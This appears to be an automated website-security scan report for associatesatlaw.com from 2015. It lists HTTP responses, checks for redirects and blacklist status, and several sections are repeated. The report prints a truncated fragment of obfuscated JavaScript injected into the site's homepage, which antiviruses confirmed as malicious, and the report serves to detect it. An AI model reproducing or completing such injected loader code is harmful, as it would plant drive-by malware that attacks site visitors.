Scanned pages/files
Request | Server response | Status |
http://associatesatlaw.com/ | 200 OK Content-Length: 1215 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["cr"+"eateElement"]("div");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="asd"}catch(bawetawe){if(ww.document){v=window;try{fawbe--}catch(afnwenew){n=["3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4c","4h","44","3n","29","3e","18","4f","41","3m","4c","40","26","21","1m","1m","48","4g","27","40","3n","41","3p","40" Antivirus reports:
| ||
http://associatesatlaw.com/test404page.js | 404 Not Found Content-Length: 1069 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: associatesatlaw.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 25 Feb 2015 23:45:25 GMT
Server: Apache mod_fcgid/2.3.7 mod_auth_pgsql/2.0.3
Vary: User-Agent,Accept-Encoding
Content-Length: 1215
Content-Type: text/html
X-Powered-By: PHP/5.2.17
...1215 bytes of data.
GET / HTTP/1.1
Host: associatesatlaw.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 25 Feb 2015 23:45:25 GMT
Server: Apache mod_fcgid/2.3.7 mod_auth_pgsql/2.0.3
Vary: User-Agent,Accept-Encoding
Content-Length: 1215
Content-Type: text/html
X-Powered-By: PHP/5.2.17
...1215 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: associatesatlaw.com
Referer: http://www.google.com/search?q=associatesatlaw.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: associatesatlaw.com
Referer: http://www.google.com/search?q=associatesatlaw.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=associatesatlaw.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://associatesatlaw.com/
Result: associatesatlaw.com is not infected or malware details are not published yet.
Result: associatesatlaw.com is not infected or malware details are not published yet.